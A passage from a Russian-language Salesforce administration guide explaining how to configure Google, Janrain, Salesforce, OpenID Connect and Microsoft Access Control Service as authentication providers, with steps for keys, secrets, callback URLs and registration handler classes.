Например, если индексу URL-адреса поставщика присвоено значение «MoiPostavshikGoogle», то URL-адрес единой
регистрации выглядит следующим образом:
https://login.salesforce.com/auth/sso/00Dx00000000001/MoiPostavshikGoogle.

6. Введите код приложения Google в поле «Ключ пользователя».

7. Введите секрет приложения Google в поле «Секрет пользователя».

8. При необходимости заполните перечисленные ниже поля.

a. Поле «URL-адрес конечной точки авторизации», предназначенноедля вводаосновного URL-адреса авторизации
от Google. Например, https://accounts.google.com/o/oauth2/authorize. URL-адресдолженначинаться
с компонента https://accounts.google.com/o/oauth2.

Совет: При необходимости дополните основной URL-адрес строковыми параметрами запроса. Например,
чтобы получить маркер обновления от Google для автономного доступа, введите URL-адрес
https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force.
Параметр approval_prompt позволяет пользователю принимать действие обновления, благодаря чему
Google сможет отправлять последующие маркеры обновления.

b. Поле «URL-адрес конечной точки маркера», предназначенное для ввода URL-адреса маркера OAuth от Google.
Например, https://accounts.google.com/o/oauth2/accessToken. URL-адрес должен начинаться с
компонента https://accounts.google.com/o/oauth2.

c. Поле «URL-адрес конечной точки сведений о пользователе», предназначенное для изменения значений,
запрошенных интерфейсом API профиля Google. URL-адрес должен начинаться с компонента
https://www.googleapis.com/oauth2/.

d. Поле «Стандартные области», значениекоторогодолжнобытьотправленовместе с запросомна конечнуюточку
авторизации. В противном случае система использует жестко запрограммированные стандартные значения для
типа поставщика. См. документацию разработчика Google.

Дополнительную информацию см. в разделе «Использование параметра Scope».

e. Поле «URL-адрес настраиваемой ошибки», предназначенноедля ввода URL-адреса, используемогопоставщиком
для уведомления об ошибках.

f. Поле «URL-адрес настраиваемого выхода», значениекоторогодолжноиспользоватьсяпривыходепользователей,
выполнивших проверку подлинности посредством процесса единой регистрации. Рекомендуем использовать
данное поле для перенаправления пользователей на фирменную страницу выхода или любую другую страницу,
кроме стандартной страницы выхода Salesforce. URL-адрес должен быть полностью определенным и содержать
префикс http или https  (например, https://acme.my.salesforce.com).

g. Чтобы создать шаблон класса Apex для средства обработки регистрации, выберите текущий класс Apex в поле
«Средство обработки регистрации» илищелкнитессылку «Автоматически создавать шаблон средства обработки
регистрации». Прежде чем использовать данный класс, выполните его редактирование путем изменения
стандартного содержимого.

Прим.: Укажите класс средства обработки регистрации для системы Salesforce для создания значения поля
«URL-адрес инициализации единой регистрации».
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h. Выберите пользователя, выполняющего класс средства обработкиApex, в поле «Выполнитьрегистрациюкак».
Пользователю должно быть предоставлено полномочие «Управление пользователями». Данное поле является
обязательным при выборе или автоматическом создании класса средства обработки регистрации.

i. Чтобы использовать портал с поставщиком, выберите нужный портал из списка «Портал».

j. Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данный значок применяется только к сообществу, поэтому не отображается на
странице входа для организации Salesforce или настраиваемого домена, созданного посредством функции «Мой
домен». Кнопка позволяет пользователям выполнять вход посредством связанного поставщика проверки
подлинности для сообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.

9. Нажмите кнопку «Сохранить».

Запомните значение созданного поля «Код поставщика проверки подлинности». Данное значение должно
использоваться в классе Apex Auth.AuthToken.

Некоторые URL-адресаконфигурацииклиентагенерируютсятолькопослеопределенияпоставщикапроверкиподлинности.

• «Тестовый URL-адрес инициализации»: данный URL-адреспозволяетпроверитьправильностьнастройкистороннего
поставщика. Администратор открывает данный URL-адрес в обозревателе, регистрируется в стороннем приложении
и перенаправляется в систему Salesforce путем сопоставления атрибутов.

• «URL-адрес инициализации единой регистрации»: данный URL-адреспозволяетиспользовать единуюрегистрацию
для входа в систему Salesforce посредством стороннего приложения. Конечный пользователь открывает данный
URL-адрес в обозревателе и регистрируется в стороннем приложении. Затем стороннее приложение создает нового
пользователя или обновляет текущего пользователя и выполняет вход в систему Salesforce от его имени.

• «URL-адрес связывания текущего пользователя»: данный URL-адрес позволяет связать текущих пользователей
Salesforce со сторонней учетной записью. Конечный пользователь открывает данный URL-адрес в обозревателе,
регистрируется в стороннем приложении и в системе Salesforce, а затем подтверждает ссылку.

• «URL-адрес инициализации только OAuth»: данный URL-адрес позволяет получать маркеры доступа OAuth для
стороннего приложения. Стороннее приложение может получить маркер только после проверки подлинности
пользователя в системе Salesforce; данныйпроцесснепредусматривает дальнейшегоиспользованияфункцииединой
регистрации.

• «URL-адрес обратного вызова»: данный URL-адрес позволяет поставщику проверки подлинности обращаться к
конечной точке конфигурации. Поставщик проверки подлинности выполняет переадресацию на адрес, указанный
в поле «URL-адрес обратного вызова», со сведениями для каждого URL-адреса конфигурации клиента.

URL-адресаконфигурацииклиентаподдерживаютдругиепараметрызапроса, позволяющиеперенаправлятьпользователей
для входапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийот стороннихкомпанийилиперехода
в определенную область после проверки подлинности.

Обновление приложения Google

Если организации Salesforce задан поставщик проверки подлинности Google, откройте и обновите приложение Google,
чтобы использовать значение поля «URL-адрес обратного вызова» в качестве значения поля Google «URL-адрес
веб-сайта».
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Тестирование подключения единой регистрации

Откройте «Тестовый URL-адрес инициализации» на странице сведений о поставщике проверки подлинности в
обозревателе. При этомпользователь переходит на веб-узел Google, где ему предлагается выполнить вход и авторизовать
приложение. После авторизации пользователь возвращается в систему Salesforce.

Настройка поставщика проверки подлинности Janrain

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Процесс настройки поставщика проверки подлинности Janrain немного отличается от
процессанастройкидругихпоставщиков. Потокможетбыть запущенбезиспользования
URL-адреса инициализации единой регистрации, генерируемого после регистрации
поставщика в системе Salesforce. Взамен, веб-узел дополняется виджетом Janrain,
предназначенным для входа.

Чтобы настроить поставщика Janrain, выполните указанные ниже действия.

1. Зарегистрируйте приложение на веб-узле Janrain и получите apiKey.

2. Определите поставщика проверки подлинности Janrain для организации Salesforce.

3. Получите код виджета входа от компании Janrain.

4. Настройте сайт для вызова кода виджета входа в организации Salesforce.

Регистрация приложения

Создайте аккаунт Janrain на веб-узле Janrain. При наличии аккаунта Janrain получите
apiKey.

1. Последовательно выберите пункты Deployment > Sign-in for Web > Handle Tokens.

2. Скопируйте значение поля apiKey. Данное значение требуется при создании
поставщика Janrain в организации Salesforce.

3. Добавьтедомен Salesforce в списокразрешенныхдоменов Janrain (Deployment >
Application Settings > Domain Whitelist).

Определение поставщика Janrain для организации Salesforce

Значение поля apiKey необходимо для создания поставщика Janrain в организации
Salesforce.

1. Введите строку «Поставщики проверки подлинности» вполе «Быстрый поиск» вменю
«Настройка» и выберите «Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Выберите Janrain в поле «Тип поставщика».

4. Заполните поле «Имя».

5. Заполните поле «Индекс URL-адреса». Данное значение используется в поле «URL-адрес обратного вызова».
Например, если индексу URL-адреса поставщика присвоено значение «MoiPostavshikJanrain», то значение поля
«URL-адрес обратного вызова» выглядит следующим образом:
https://login.salesforce.com/services/authcallback/00D300000007CvvEAE/MoiPostavshikJanrain.

6. Вставьте значение apiKey в поле «Секрет пользователя».
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7. Принеобходимостизаполнитеполе «URL-адрес настраиваемой ошибки» значением, котороедолжноиспользоваться
поставщиком для уведомления об ошибках.

8. Принеобходимостизаполнитеполе «URL-адрес настраиваемого выхода» значением, котороедолжноиспользоваться
при выходе пользователей, выполнивших проверку подлинности посредством процесса единой регистрации.
Рекомендуем использовать данное поле для перенаправления пользователей на фирменную страницу выхода или
любую другую страницу, кроме стандартной страницы выхода Salesforce. URL-адрес должен быть полностью
определенным и содержать префикс http или https  (например, https://acme.my.salesforce.com).

9. Выберите текущий класс Apex в поле «Средство обработки регистрации» илищелкните ссылку «Автоматически
создавать шаблон средства обработки регистрации», чтобы создать шаблон класса Apex для средства обработки
регистрации. Преждечемиспользовать данныйкласс, выполните егоредактированиепутемизменения стандартного
содержимого.

Прим.: Функция единой регистрации может использоваться только в том случае, если выбран класс средства
обработки регистрации для Salesforce.

10. Выберите пользователя, который выполняет класс Apex, в поле «Выполнить регистрацию как». Пользователю
должнобытьпредоставленополномочие «Управлениепользователями». Данноеполе являетсяобязательнымвслучае
выбора или автоматического создания класса для средства обработки регистрации.

11. Чтобы использовать поставщика на портале, выберите нужный портал в раскрывающемся списке «Портал».

12. Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данныйзначокприменяется толькок сообществу, поэтомунеотображаетсяна странице
входа дляорганизации Salesforceилинастраиваемогодомена, созданногопосредствомфункции «Мойдомен». Кнопка
позволяетпользователямвыполнятьвходпосредствомсвязанногопоставщикапроверкиподлинностидлясообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.

13. Нажмите кнопку «Сохранить».

Запомните значение созданного поля «URL-адрес обратного вызова». Данное значение требуется для завершения
настройки Janrain.

Некоторыепараметрыконфигурацииклиентадоступнытолькопосленастройки Janrain в качествепоставщикапроверки
подлинности. Нижеперечисленыпараметры, которыемогутиспользоватьсясо значением flowtype вполе «URL-адрес
обратного вызова».

• test: данный параметр позволяет проверить правильность настройки стороннего поставщика. Администратор
задает значение flowtype=test для виджета Janrain, регистрируется в стороннемприложениииперенаправляется
в систему Salesforce путем сопоставления атрибутов.

• link: данныйпараметрпозволяет связать текущихпользователейSalesforce со стороннейучетнойзаписью. Конечный
пользователь открывает страницу, содержащую виджет Janrain, которому задано значение flowtype=link,
регистрируется в стороннем приложении и в системе Salesforce, а затем подтверждает ссылку.

• sso: данный параметр позволяет использовать единую регистрацию для входа в систему Salesforce посредством
стороннего приложения. Конечныйпользователь открывает страницу, содержащуювиджет Janrain, которому задано
значение flowtype=sso, и регистрируется в стороннем приложении. В этом случае вход в систему Salesforce
выполняется от имени созданного или обновленного пользователя.

URL-адреса конфигурации клиента поддерживают дополнительные параметры запроса, позволяющие перенаправлять
пользователейдлявходапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийотстороннихкомпаний
или перехода в определенную область после проверки подлинности.
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Получение кода виджета входа от компании Janrain

Получите код виджета входа для организации Salesforce.

1. Последовательно выберите пункты Application > Sign-in for Web > Get the Code в аккаунте Janrain.

2. Введите значение поля «URL-адрес обратного вызова» из сведений о поставщике Janrain в организации Salesforce
(а также параметр запроса flowtype=sso в качестве URL-адреса маркера). Например:

https://login.salesforce.com/services/authcallback/00DD##############/JanrainApp?flowtype=sso

При использовании настраиваемого домена, созданного посредством функции «Мой домен», замените компонент
login.salesforce.com именем для функции «Мой домен».

Прииспользовании сообщества добавьте параметр community и дополните им виджет входа в качестве URL-адреса
маркера. Например:

janrain.settings.tokenUrl='https://login.salesforce.com/services/authcallback/00DD##############/JanrainApp'
+'?flowtype=sso&community='+encodeURIComponent('https://acme.force.com/customers');

Создание сайта для вызова виджета входа

1. Включите поддержку Sites.

2. Создайте страницу и скопируйте на нее код виджета входа.

3. Создайте сайт и выберите созданную страницу в качестве начальной страницы сайта.

СМ. ТАКЖЕ:

Использование параметров запроса в URL-адресах конфигурации клиента

Общие сведения о внешних поставщиках проверки подлинности

salesforce_communities_implementation.pdf
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Настройка поставщика проверки подлинности Salesforce

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Связанное приложение может использоваться в качестве поставщика проверки
подлинности. Выполните указанные ниже действия.

1. Определите связанное приложение.

2. Определите поставщика проверки подлинности Salesforce для организации.

3. Протестируйте подключение.

Определение связанного приложения

Прежде чем настроить поставщика Salesforce для организации Salesforce, рекомендуем
определить связанное приложение, поддерживающее функцию единой регистрации.
Введите строку «Приложения» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Приложения».

После определения связанного приложения сохраните значения полей «Ключ
пользователя» и «Секрет пользователя».

Прим.: Чтобы пропустить данное действие, разрешите системе Salesforce
использование собственного стандартного приложения. Дополнительную
информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

Определение поставщика проверки подлинности Salesforce для организации

Значения полей «Ключ пользователя» и «Секрет пользователя» определения
связанного приложения требуются для настройки поставщика проверки подлинности
в организации.

Прим.: Чтобы пропустить ввод данных значений при настройке поставщика,
разрешите системе Salesforce управление значениями. Дополнительную
информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню «Настройка» и выберите
«Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Выберите Salesforce в поле «Тип поставщика».

4. Заполните поле «Имя».

5. Заполните поле «Индекс URL-адреса». Данное значение используется в URL-адресах конфигурации клиента.
Например, если индексу URL-адреса поставщика присвоено значение «MoiPostavshikSFDC», то URL-адрес единой
регистрации выглядит следующим образом:
https://login.salesforce.com/auth/sso/00Dx00000000001/MoiPostavshikSFDC.

6. Вставьте значениеполя «Ключ пользователя» изопределениясвязанногоприложениявполе «Ключ пользователя».

7. Вставьтезначениеполя «Секрет пользователя» изопределениясвязанногоприложениявполе «Секрет пользователя».

8. При необходимости заполните перечисленные ниже поля.

a. Поле «URL-адрес конечной точки авторизации», предназначенное для ввода URL-адреса авторизации OAuth.
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Имяхоста, указанноевполе «URL-адрес конечной точки авторизации», можетсоответствоватьименибезопасной
среды или настраиваемого домена, созданного посредством функции «Мой домен», но URL-адрес должен
заканчиваться компонентом .salesforce.com, а путь должен заканчиваться компонентом
/services/oauth2/authorize. Например,
https://test.salesforce.com/services/oauth2/authorize.

b. Поле «URL-адрес конечной точки маркера», предназначенное для ввода URL-адреса маркера OAuth.

Имя хоста, указанное в поле «URL-адрес конечной точки маркера», может соответствовать имени безопасной
среды или настраиваемого домена, созданного посредством функции «Мой домен», но URL-адрес должен
заканчиваться компонентом .salesforce.com, а путь должен заканчиваться компонентом
/services/oauth2/token. Например, https://test.salesforce.com/services/oauth2/token.

c. Поле «Стандартные области», значениекоторогодолжнобытьотправленовместе с запросомна конечнуюточку
авторизации. В противном случае система использует жестко запрограммированное стандартное значение.

Дополнительную информацию см. в разделе «Использование параметра Scope».

Прим.: При редактировании параметров для текущего поставщика проверки подлинности Salesforce
рекомендуем установить флажок «Добавить код организации для связывания сторонней учетной записи».
При наличии поставщиков проверки подлинности Salesforce, настроенных в выпуске Summer'14 или ранее,
удостоверениепользователя, предоставленноеорганизацией, несодержиткодаорганизации. Такимобразом,
целеваяорганизациянеможетразличатьпользователейсодинаковымкодомиз двухисточников (например,
две безопасные среды). При наличии текущей организации с двумя пользователями (по одному из каждой
безопаснойсреды), соотнесеннымиспользователемвцелевойорганизации, установитеданныйфлажокдля
разделенияудостоверений. Впротивномслучае, снимитеданныйфлажок. Послевключенияданнойфункции
пользователи должны повторно утвердить связывание со всеми сторонними ссылками. Данные ссылки
отображается в разделе «Ссылки на сторонние учетные записи» страницы сведений о пользователе. По
умолчанию данный параметр включен для поставщиков проверки подлинности Salesforce, созданных в
выпуске Winter'15 и более поздних выпусках, но флажок не отображается.

d. Поле «URL-адрес настраиваемой ошибки», значение которого должно использоваться поставщиком для
уведомления об ошибках.

e. Поле «URL-адрес настраиваемого выхода», значениекоторогодолжноиспользоватьсяпривыходепользователей,
выполнивших проверку подлинности посредством процесса единой регистрации. Рекомендуем использовать
данное поле для перенаправления пользователей на фирменную страницу выхода или любую другую страницу,
кроме стандартной страницы выхода Salesforce. URL-адрес должен быть полностью определенным и содержать
префикс http или https  (например, https://acme.my.salesforce.com).

9. Выберите текущий класс Apex в поле «Средство обработки регистрации» илищелкните ссылку «Автоматически
создавать шаблон средства обработки регистрации», чтобы создать шаблон класса Apex для средства обработки
регистрации. Прежде чем использовать данный класс шаблона, выполните его редактирование путем изменения
стандартного содержимого.

Прим.: Значение поля «URL-адрес инициализации единой регистрации» может быть создано только в том
случае, если выбран класс средства обработки регистрации для Salesforce.

10. Выберитепользователя, которыйвыполняетклассApex, вполе «Выполнить регистрацию как». Пользователюдолжно
бытьпредоставленополномочие «Управлениепользователями». Данноеполе являетсяобязательнымв случае выбора
или автоматического создания класса для средства обработки регистрации.

11. Чтобы использовать поставщика на портале, выберите нужный портал в раскрывающемся списке «Портал».
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12. Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данныйзначокприменяется толькок сообществу, поэтомунеотображаетсяна странице
входа дляорганизации Salesforceилинастраиваемогодомена, созданногопосредствомфункции «Мойдомен». Кнопка
позволяетпользователямвыполнятьвходпосредствомсвязанногопоставщикапроверкиподлинностидлясообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.

13. Нажмите кнопку «Сохранить».

Запомните значения URL-адресов конфигурации клиента. Значениеполя «URL-адрес обратного вызова» требуется
для выполнения последнего действия, а значение поля «Тестовый URL-адрес инициализации» — для проверки
конфигурации. Кроме того, рекомендуем запомнить значение поля «Код поставщика проверки подлинности»,
которое должно использоваться в классе Apex Auth.AuthToken.

14. Вернитеськ созданномуранееопределениюсвязанногоприложения (настранице «Приложения» вменю «Настройка»
щелкнитепоименисвязанногоприложения) ивставьте значение «URL-адрес обратного вызова» поставщика услуг
в поле «URL-адрес обратного вызова».

Некоторые URL-адресаконфигурацииклиентагенерируютсятолькопослеопределенияпоставщикапроверкиподлинности.

• «Тестовый URL-адрес инициализации»: данный URL-адреспозволяетпроверитьправильностьнастройкистороннего
поставщика. Администратор открывает данный URL-адрес в обозревателе, регистрируется в стороннем приложении
и перенаправляется в систему Salesforce путем сопоставления атрибутов.

• «URL-адрес инициализации единой регистрации»: данный URL-адреспозволяетиспользовать единуюрегистрацию
для входа в систему Salesforce посредством стороннего приложения. Конечный пользователь открывает данный
URL-адресвобозревателеирегистрируетсявстороннемприложении. ВэтомслучаевходвсистемуSalesforceвыполняется
от имени созданного или обновленного пользователя.

• «URL-адрес связывания текущего пользователя»: данный URL-адрес позволяет связать текущих пользователей
Salesforce со сторонней учетной записью. Конечный пользователь открывает данный URL-адрес в обозревателе,
регистрируется в стороннем приложении и в системе Salesforce, а затем подтверждает ссылку.

• «URL-адрес инициализации только OAuth»: данный URL-адрес позволяет получать маркеры доступа OAuth для
стороннего приложения. Стороннее приложение может получить маркер только после проверки подлинности
пользователя в системе Salesforce; данныйпроцесснепредусматривает дальнейшегоиспользованияфункцииединой
регистрации.

• «URL-адрес обратного вызова»: данный URL-адрес позволяет поставщику проверки подлинности обращаться к
конечной точке конфигурации. При переадресации на адрес, указанный в поле «URL-адрес обратного вызова»,
должны использоваться сведения для всех перечисленных выше URL-адресов конфигурации клиента.

URL-адреса конфигурации клиента поддерживают дополнительные параметры запроса, позволяющие перенаправлять
пользователейдлявходапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийотстороннихкомпаний
или перехода в определенную область после проверки подлинности.
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Тестирование подключения единой регистрации

Откройте «Тестовый URL-адрес инициализации» на странице сведений о поставщике проверки подлинности в
обозревателе. Авторизующая и целевая организации должны принадлежать одной среде (например, производственная
или безопасная среда).

СМ. ТАКЖЕ:

Использование параметров запроса в URL-адресах конфигурации клиента

Общие сведения о внешних поставщиках проверки подлинности

Настройка поставщика проверки подлинности OpenID Connect

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Система позволяет использовать любое стороннее веб-приложение, реализующее
серверную сторону протокола OpenID Connect (например, Amazon, Google и PayPal), в
качестве поставщика проверки подлинности.

Чтобынастроитьпоставщикапроверкиподлинности OpenID, выполнитеперечисленные
ниже действия.

1. Зарегистрируйте приложение, выбрав систему Salesforce в качестве домена
приложения.

2. Определите поставщика проверки подлинности OpenID Connect для организации
Salesforce.

3. Обновите приложение, чтобыиспользовать значение поля «URL-адрес обратного
вызова», созданное системой Salesforce, в качестве URL-адреса обратного вызова.

4. Протестируйте подключение.

Регистрация приложения OpenID Connect

Прежде чем настроить веб-приложение для организации Salesforce, рекомендуем его
зарегистрировать посредством поставщика услуг. Порядок регистрации определяется
используемым поставщиком услуг. Например, чтобы зарегистрировать приложение
Google, рекомендуем создать код клиента OAuth 2.0.

1. Зарегистрируйте приложение на веб-сайте поставщика услуг.

2. Измените параметры приложения и задайте домену приложения (или полю
«URL-адрес начальной страницы») значение Salesforce.

3. Запомните код и секрет клиента, а также URL-адрес конечной точки авторизации,
URL-адрес конечной точки маркера, URL-адрес конечной точки сведений о
пользователе, которые должны быть доступны в документации поставщика. Ниже
перечислены некоторые типичные поставщики услуг OpenID Connect.

• Amazon

• Google

• PayPal
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Определение поставщика OpenID Connect для организации Salesforce

Некоторыеданныепоставщика (кодисекрет клиента, а также URL-адрес конечнойточкиавторизации, URL-адрес конечной
точки маркера и URL-адрес конечной точки сведений о пользователе) необходимы для настройки приложения в
организации Salesforce.

1. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню «Настройка» и выберите
«Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Выберите OpenID Connect в поле «Тип поставщика».

4. Заполните поле «Имя».

5. Заполните поле «Индекс URL-адреса». Данное значение используется в URL-адресах конфигурации клиента.
Например, если индексу URL-адреса поставщика присвоено значение «MoiPostavshikOpenIDConnect», то URL-адрес
единой регистрации выглядит следующим образом:
https://login.salesforce.com/auth/sso/00Dx00000000001/MoiPostavshikOpenIDConnect.

6. Введите код клиента в поле «Ключ пользователя».

7. Введите секрет клиента в поле «Секрет пользователя».

8. Введите основной URL-адрес в поле «URL-адрес конечной точки авторизации».

Совет: Принеобходимостидополнитеосновной URL-адрес строковымипараметрамизапроса. Например, чтобы
получить маркер обновления от Google для автономного доступа, введите URL-адрес
https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force.
Вданномслучаерекомендуемдобавитьпараметр approval_prompt, позволяющийпользователюпринимать
действие обновления, благодаря чему Google сможет отправлять последующие маркеры обновления.

9. Заполните поле «URL-адрес конечной точки маркера».

10. При необходимости заполните перечисленные ниже поля.

a. Поле «URL-адрес конечной точки сведений о пользователе», значение которого должно быть предоставлено
поставщиком.

b. Поле «Отправитель маркера», значение которого должно определять источник маркера проверки подлинности
в следующемформате: «https: URL-адрес». При наличии данного значения поставщик должен добавить
значение id_token в ответ на запрос маркера. Значение id_token не требуется для процесса проверки
подлинности маркера обновления (но при необходимости будет проверено системой Salesforce).

c. Поле «Стандартные области», значениекоторогодолжнобытьотправленовместе с запросомна конечнуюточку
авторизации. В противном случае система использует жестко запрограммированные стандартные значения для
типа поставщика (см. документацию разработчика OpenID Connect).

Дополнительную информацию см. в разделе «Использование параметра Scope».

11. Чтобы отправить маркер в заголовке, установите флажок «Отправить маркер доступа в заголовке».

12. При необходимости заполните перечисленные ниже поля.

a. Поле «URL-адрес настраиваемой ошибки», значение которого должно использоваться поставщиком для
уведомления об ошибках.

b. Поле «URL-адрес настраиваемого выхода», значениекоторогодолжноиспользоватьсяпривыходепользователей,
выполнивших проверку подлинности посредством процесса единой регистрации. Рекомендуем использовать
данное поле для перенаправления пользователей на фирменную страницу выхода или любую другую страницу,
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кроме стандартной страницы выхода Salesforce. URL-адрес должен быть полностью определенным и содержать
префикс http или https  (например, https://acme.my.salesforce.com).

c. Выберите текущий классApex в поле «Средство обработки регистрации» илищелкните ссылку «Автоматически
создавать шаблон средства обработки регистрации», чтобы создатьшаблон классаApex для средства обработки
регистрации. Преждечемиспользоватьданныйкласс, выполнитеегоредактированиепутемизменениястандартного
содержимого.

Прим.: Значение поля «URL-адрес инициализации единой регистрации» может быть создано только в
том случае, если выбран класс средства обработки регистрации для Salesforce.

d. Выберите пользователя, который выполняет класс Apex, в поле «Выполнить регистрациюкак». Пользователю
должно быть предоставлено полномочие «Управление пользователями». Данное поле является обязательным в
случае выбора или автоматического создания класса для средства обработки регистрации.

e. Чтобы использовать поставщика на портале, выберите нужный портал в раскрывающемся списке «Портал».

f. Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данный значок применяется только к сообществу, поэтому не отображается на
странице входа для организации Salesforce или настраиваемого домена, созданного посредством функции «Мой
домен». Кнопка позволяет пользователям выполнять вход посредством связанного поставщика проверки
подлинности для сообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.

13. Нажмите кнопку «Сохранить».

Запомните значение созданного поля «Код поставщика проверки подлинности». Данное значение должно
использоваться в классе Apex Auth.AuthToken.

Некоторые URL-адресаконфигурацииклиентагенерируютсятолькопослеопределенияпоставщикапроверкиподлинности.

• «Тестовый URL-адрес инициализации»: данный URL-адреспозволяетпроверитьправильностьнастройкистороннего
поставщика. Администратор открывает данный URL-адрес в обозревателе, регистрируется в стороннем приложении
и перенаправляется в систему Salesforce путем сопоставления атрибутов.

• «URL-адрес инициализации единой регистрации»: данный URL-адреспозволяетиспользовать единуюрегистрацию
для входа в систему Salesforce посредством стороннего приложения. Конечный пользователь открывает данный
URL-адресвобозревателеирегистрируетсявстороннемприложении. ВэтомслучаевходвсистемуSalesforceвыполняется
от имени созданного или обновленного пользователя.

• «URL-адрес связывания текущего пользователя»: данный URL-адрес позволяет связать текущих пользователей
Salesforce со сторонней учетной записью. Конечный пользователь открывает данный URL-адрес в обозревателе,
регистрируется в стороннем приложении и в системе Salesforce, а затем подтверждает ссылку.

• «URL-адрес инициализации только OAuth»: данный URL-адрес позволяет получать маркеры доступа OAuth для
стороннего приложения. Стороннее приложение может получить маркер только после проверки подлинности
пользователя в системе Salesforce; данныйпроцесснепредусматривает дальнейшегоиспользованияфункцииединой
регистрации.

• «URL-адрес обратного вызова»: данный URL-адрес позволяет поставщику проверки подлинности обращаться к
конечной точке конфигурации. При переадресации на адрес, указанный в поле «URL-адрес обратного вызова»,
должны использоваться сведения для всех перечисленных выше URL-адресов конфигурации клиента.
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URL-адреса конфигурации клиента поддерживают дополнительные параметры запроса, позволяющие перенаправлять
пользователейдлявходапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийотстороннихкомпаний
или перехода в определенную область после проверки подлинности.

Обновление приложения OpenID Connect

Еслиорганизации Salesforce заданпоставщикпроверкиподлинности, откройтепоставщикаиобновитеполеприложения
«URL-адрес обратного вызова»  (или «Авторизованный URI перенаправления» дляприложений Google и «URL-адрес
возврата» для PayPal).

Тестирование подключения единой регистрации

Откройте «Тестовый URL-адрес инициализации» на странице сведений о поставщике проверки подлинности в
обозревателе. При этом пользователь переходит на веб-узел поставщика, где ему предлагается выполнить вход и
авторизовать приложение. После авторизации пользователь возвращается в систему Salesforce.

Настройка поставщика проверки подлинности Microsoft® Access Control Service

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Система позволяет использовать службу Microsoft Access Control Service в качестве
поставщика проверки подлинности посредством протокола OAuth. Как правило,
авторизация выполняется службой Microsoft Office 365 (например, SharePoint® Online).

Система Salesforceпозволяет службе Microsoft Access Control Service проверятьподлинность
только посредством OAuth. Проверка подлинности посредством единой регистрации
от поставщика проверки подлинности Microsoft не поддерживается.

Чтобы настроить поставщика проверки подлинности Microsoft Access Control Service,
выполните перечисленные ниже действия.

1. Определите поставщика проверки подлинности Microsoft Access Control Service для
организации Salesforce.

2. Зарегистрируйтеприложениев Microsoft, выбрав систему Salesforce в качестведомена
приложения.

3. Чтобыиспользоватьполя «Ключ пользователя» и «Секрет пользователя», созданные
прирегистрацииприложения в Microsoft, измените сведенияопоставщикепроверки
подлинности Microsoft Access Control Service в системе Salesforce.

4. Протестируйте подключение.

Определение поставщика проверки подлинности Microsoft Access Control
Service для организации Salesforce

Преждечемзарегистрироватьприложениев SharePoint Online или Microsoft Seller Dashboard,
рекомендуем получить URL-адрес обратного вызова, который должен использоваться
для переадресации авторизованного пользователя в систему Salesforce.

1. Введите строку «Поставщики проверки подлинности» вполе «Быстрый поиск» вменю
«Настройка» и выберите «Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Выберите Microsoft Access Control Service в поле «Тип поставщика».
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4. Заполните поле «Имя».

5. Заполните поле «Индекс URL-адреса». Данное значение используется в URL-адресах конфигурации клиента.
Например, еслииндексу URL-адресапоставщикаприсвоенозначение «MoiPostavshikMicrosoftACS», то URL-адресобратного
вызова выглядит следующим образом:

https://login.salesforce.com/services/authcallback/00Dx00000000001/MoiPostavshikMicrosoftACS.

6. Заполните поле «Ключ пользователя» значением структурного нуля (данное значение редактируется после
регистрации приложения в Microsoft).

7. Заполните поле «Секрет пользователя» значением структурного нуля (данное значение редактируется после
регистрации приложения в Microsoft).

